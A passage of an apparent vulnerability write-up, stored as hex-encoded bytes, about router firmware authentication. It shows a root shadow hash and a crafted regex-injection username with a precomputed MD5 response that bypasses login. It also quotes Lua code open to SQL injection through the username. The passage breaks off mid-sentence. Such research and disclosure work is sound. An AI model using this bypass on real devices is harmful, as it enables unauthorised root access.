0x74, 0x63, 0x2F, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x2A, 0x2A, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x69, 0x73, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x24, 0x31, 0x24, 0x6A, 0x39, 0x54, 0x32, 0x6A, 0x44, 0x24, 0x35, 0x4B, 0x47, 0x49, 0x53, 0x2F, 0x32, 0x55, 0x67, 0x2E, 0x34, 0x37, 0x47, 0x6A, 0x57, 0x30, 0x6A, 0x48, 0x4F, 0x49, 0x42, 0x2F, 0x32, 0x58, 0x77, 0x59, 0x55, 0x61, 0x66, 0x59, 0x50, 0x68, 0x2F, 0x58, 0x3A, 0x31, 0x39, 0x34, 0x34, 0x37, 0x3A, 0x30, 0x3A, 0x39, 0x39, 0x39, 0x39, 0x39, 0x3A, 0x37, 0x3A, 0x3A, 0x3A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x53, 0x69, 0x6E, 0x63, 0x65, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6D, 0x75, 0x6C, 0x74, 0x69, 0x70, 0x6C, 0x65, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x6E, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x63, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2C, 0x20, 0x49, 0x20, 0x6D, 0x61, 0x64, 0x65, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x61, 0x20, 0x64, 0x69, 0x66, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x72, 0x61, 0x74, 0x68, 0x65, 0x72, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x68, 0x61, 0x73, 0x68, 0x65, 0x64, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x61, 0x73, 0x20, 0x69, 0x74, 0x20, 0x74, 0x75, 0x72, 0x6E, 0x65, 0x64, 0x20, 0x6F, 0x75, 0x74, 0x2C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x2E, 0x0A, 0x0A, 0x57, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x20, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x62, 0x65, 0x63, 0x6F, 0x6D, 0x65, 0x73, 0x0A, 0x0A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x28, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x29, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x49, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x68, 0x69, 0x66, 0x74, 0x20, 0x66, 0x6F, 0x72, 0x77, 0x61, 0x72, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2C, 0x20, 0x74, 0x68, 0x75, 0x73, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x69, 0x64, 0x20, 0x28, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x69, 0x73, 0x20, 0x61, 0x6C, 0x77, 0x61, 0x79, 0x73, 0x20, 0x30, 0x29, 0x20, 0x69, 0x6E, 0x73, 0x74, 0x65, 0x61, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x68, 0x61, 0x73, 0x68, 0x65, 0x64, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x6D, 0x65, 0x61, 0x6E, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x61, 0x6C, 0x77, 0x61, 0x79, 0x73, 0x20, 0x77, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x68, 0x61, 0x6C, 0x6C, 0x65, 0x6E, 0x67, 0x65, 0x20, 0x62, 0x79, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x68, 0x61, 0x73, 0x68, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x6D, 0x64, 0x35, 0x28, 0x3C, 0x75, 0x73, 0x65, 0x72, 0x3E, 0x3A, 0x30, 0x3A, 0x3C, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x3E, 0x29, 0x20, 0x2D, 0x3E, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x30, 0x3A, 0x3C, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x3E, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x4C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x72, 0x65, 0x63, 0x61, 0x70, 0x3A, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x75, 0x73, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6F, 0x72, 0x69, 0x67, 0x69, 0x6E, 0x61, 0x6C, 0x20, 0x2A, 0x72, 0x6F, 0x6F, 0x74, 0x2A, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x63, 0x72, 0x61, 0x66, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6D, 0x6F, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x73, 0x68, 0x69, 0x66, 0x74, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x77, 0x61, 0x72, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x77, 0x65, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x70, 0x72, 0x65, 0x2D, 0x63, 0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x64, 0x20, 0x68, 0x61, 0x73, 0x68, 0x20, 0x74, 0x6F, 0x20, 0x77, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x68, 0x61, 0x6C, 0x6C, 0x65, 0x6E, 0x67, 0x65, 0x2E, 0x0A, 0x0A, 0x55, 0x70, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x62, 0x6F, 0x74, 0x68, 0x20, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x77, 0x65, 0x6C, 0x63, 0x6F, 0x6D, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6A, 0x73, 0x6F, 0x6E, 0x0A, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x69, 0x64, 0x22, 0x3A, 0x37, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x6A, 0x73, 0x6F, 0x6E, 0x72, 0x70, 0x63, 0x22, 0x3A, 0x22, 0x32, 0x2E, 0x30, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x22, 0x3A, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x3A, 0x22, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x20, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x73, 0x69, 0x64, 0x22, 0x3A, 0x22, 0x4E, 0x73, 0x50, 0x48, 0x64, 0x6B, 0x58, 0x74, 0x45, 0x4E, 0x6F, 0x61, 0x6F, 0x74, 0x78, 0x56, 0x5A, 0x57, 0x4C, 0x71, 0x4A, 0x6F, 0x72, 0x55, 0x35, 0x32, 0x4F, 0x37, 0x4A, 0x30, 0x4F, 0x49, 0x22, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0A, 0x7D, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x23, 0x20, 0x41, 0x62, 0x61, 0x6E, 0x64, 0x6F, 0x6E, 0x20, 0x68, 0x6F, 0x70, 0x65, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x79, 0x65, 0x20, 0x77, 0x68, 0x6F, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x68, 0x65, 0x72, 0x65, 0x0A, 0x21, 0x5B, 0x48, 0x6F, 0x70, 0x65, 0x6C, 0x65, 0x73, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x6D, 0x65, 0x72, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x68, 0x6F, 0x70, 0x65, 0x6C, 0x65, 0x73, 0x73, 0x2D, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x6D, 0x65, 0x72, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x4E, 0x6F, 0x74, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x73, 0x68, 0x69, 0x6E, 0x65, 0x20, 0x69, 0x73, 0x20, 0x67, 0x6F, 0x6C, 0x64, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x61, 0x73, 0x65, 0x2E, 0x2E, 0x2E, 0x20, 0x49, 0x6E, 0x20, 0x66, 0x61, 0x63, 0x74, 0x2C, 0x20, 0x75, 0x70, 0x6F, 0x6E, 0x20, 0x6C, 0x6F, 0x67, 0x67, 0x69, 0x6E, 0x67, 0x20, 0x69, 0x6E, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x64, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x49, 0x44, 0x2C, 0x20, 0x49, 0x20, 0x67, 0x6F, 0x74, 0x20, 0x61, 0x20, 0x62, 0x75, 0x6E, 0x63, 0x68, 0x20, 0x6F, 0x66, 0x20, 0x2A, 0x2A, 0x41, 0x43, 0x43, 0x45, 0x53, 0x53, 0x20, 0x44, 0x45, 0x4E, 0x49, 0x45, 0x44, 0x2A, 0x2A, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x65, 0x20, 0x77, 0x65, 0x72, 0x65, 0x20, 0x74, 0x61, 0x6B, 0x65, 0x6E, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x20, 0x70, 0x61, 0x67, 0x65, 0x2E, 0x0A, 0x0A, 0x49, 0x20, 0x61, 0x73, 0x6B, 0x65, 0x64, 0x20, 0x6D, 0x79, 0x73, 0x65, 0x6C, 0x66, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x6F, 0x6E, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x75, 0x70, 0x6F, 0x6E, 0x20, 0x66, 0x75, 0x72, 0x74, 0x68, 0x65, 0x72, 0x20, 0x61, 0x6E, 0x61, 0x6C, 0x79, 0x73, 0x69, 0x73, 0x2C, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x20, 0x70, 0x69, 0x65, 0x63, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x70, 0x72, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x65, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6C, 0x61, 0x67, 0x2C, 0x20, 0x65, 0x68, 0x6D, 0x6D, 0x6D, 0x20, 0x6F, 0x70, 0x73, 0x2C, 0x20, 0x49, 0x20, 0x6D, 0x65, 0x61, 0x6E, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x28, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x73, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x61, 0x20, 0x43, 0x54, 0x46, 0x29, 0x2E, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6C, 0x75, 0x61, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x64, 0x62, 0x2E, 0x67, 0x65, 0x74, 0x5F, 0x61, 0x63, 0x6C, 0x5F, 0x62, 0x79, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x75, 0x74, 0x69, 0x6C, 0x73, 0x2E, 0x67, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x5F, 0x69, 0x64, 0x28, 0x33, 0x32, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x5B, 0x73, 0x69, 0x64, 0x5D, 0x20, 0x3D, 0x20, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x5F, 0x6E, 0x6F, 0x77, 0x28, 0x29, 0x20, 0x2B, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x69, 0x73, 0x73, 0x75, 0x65, 0x20, 0x77, 0x61, 0x73, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2A, 0x2C, 0x20, 0x73, 0x69, 0x6E, 0x63, 0x65, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x65, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x62, 0x6C, 0x61, 0x6E, 0x6B, 0x20, 0x69, 0x6E, 0x73, 0x74, 0x65, 0x61, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x66, 0x61, 0x6E, 0x63, 0x79, 0x20, 0x41, 0x43, 0x4C, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x20, 0x54, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x27, 0x63, 0x61, 0x75, 0x73, 0x65, 0x20, 0x77, 0x65, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x61, 0x6E, 0x20, 0x69, 0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x28, 0x61, 0x20, 0x6D, 0x69, 0x78, 0x20, 0x6F, 0x66, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x2C, 0x20, 0x6C, 0x75, 0x63, 0x6B, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x61, 0x67, 0x69, 0x63, 0x29, 0x20, 0x69, 0x6E, 0x73, 0x74, 0x65, 0x61, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x72, 0x6F, 0x6F, 0x74, 0x2A, 0x2A, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x0A, 0x0A, 0x55, 0x70, 0x6F, 0x6E, 0x20, 0x66, 0x75, 0x72, 0x74, 0x68, 0x65, 0x72, 0x20, 0x72, 0x65, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2C, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x41, 0x43, 0x4C, 0x2E, 0x2E, 0x2E, 0x20, 0xF0, 0x9F, 0xA5, 0x81, 0x20, 0x2E, 0x2E, 0x2E, 0x20, 0x74, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x75, 0x73, 0x72, 0x2F, 0x6C, 0x69, 0x62, 0x2F, 0x6C, 0x75, 0x61, 0x2F, 0x6F, 0x75, 0x69, 0x2F, 0x64, 0x62, 0x2E, 0x6C, 0x75, 0x61, 0x2A, 0x2A, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6C, 0x75, 0x61, 0x0A, 0x4D, 0x2E, 0x67, 0x65, 0x74, 0x5F, 0x61, 0x63, 0x6C, 0x5F, 0x62, 0x79, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x3D, 0x20, 0x22, 0x72, 0x6F, 0x6F, 0x74, 0x22, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x22, 0x72, 0x6F, 0x6F, 0x74, 0x22, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x64, 0x62, 0x20, 0x3D, 0x20, 0x73, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x33, 0x2E, 0x6F, 0x70, 0x65, 0x6E, 0x28, 0x44, 0x42, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x73, 0x71, 0x6C, 0x20, 0x3D, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x28, 0x22, 0x53, 0x45, 0x4C, 0x45, 0x43, 0x54, 0x20, 0x61, 0x63, 0x6C, 0x20, 0x46, 0x52, 0x4F, 0x4D, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x57, 0x48, 0x45, 0x52, 0x45, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x25, 0x73, 0x27, 0x22, 0x2C, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x22, 0x22, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x61, 0x20, 0x69, 0x6E, 0x20, 0x64, 0x62, 0x3A, 0x72, 0x6F, 0x77, 0x73, 0x28, 0x73, 0x71, 0x6C, 0x29, 0x20, 0x64, 0x6F, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x61, 0x5B, 0x31, 0x5D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x64, 0x62, 0x3A, 0x63, 0x6C, 0x6F, 0x73, 0x65, 0x28, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x0A, 0x65, 0x6E, 0x64, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x57, 0x61, 0x69, 0x74, 0x20, 0x77, 0x68, 0x61, 0x74, 0x3F, 0x3F, 0x20, 0x54, 0x68, 0x65, 0x20, 0x41, 0x43, 0x4C, 0x20, 0x69, 0x73, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x61, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x61, 0x20, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x20, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x63, 0x61, 0x75, 0x67, 0x68, 0x74, 0x20, 0x6D, 0x79, 0x20, 0x61, 0x74, 0x74, 0x65, 0x6E, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x77, 0x61, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x74, 0x69, 0x6E, 0x79, 0x20, 0x60, 0x25, 0x73, 0x60, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x71, 0x75, 0x65, 0x72, 0x79, 0x20, 0x28, 0x79, 0x65, 0x70, 0x2C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x74, 0x68, 0x69, 0x6E, 0x6B, 0x29, 0x2E, 0x20, 0x49, 0x6E, 0x20, 0x66, 0x61, 0x63, 0x74, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x61, 0x6E, 0x69, 0x74, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x61, 0x73, 0x20, 0x70, 0x61, 0x72, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x6D, 0x65, 0x61, 0x6E, 0x73, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x53, 0x51, 0x4C, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 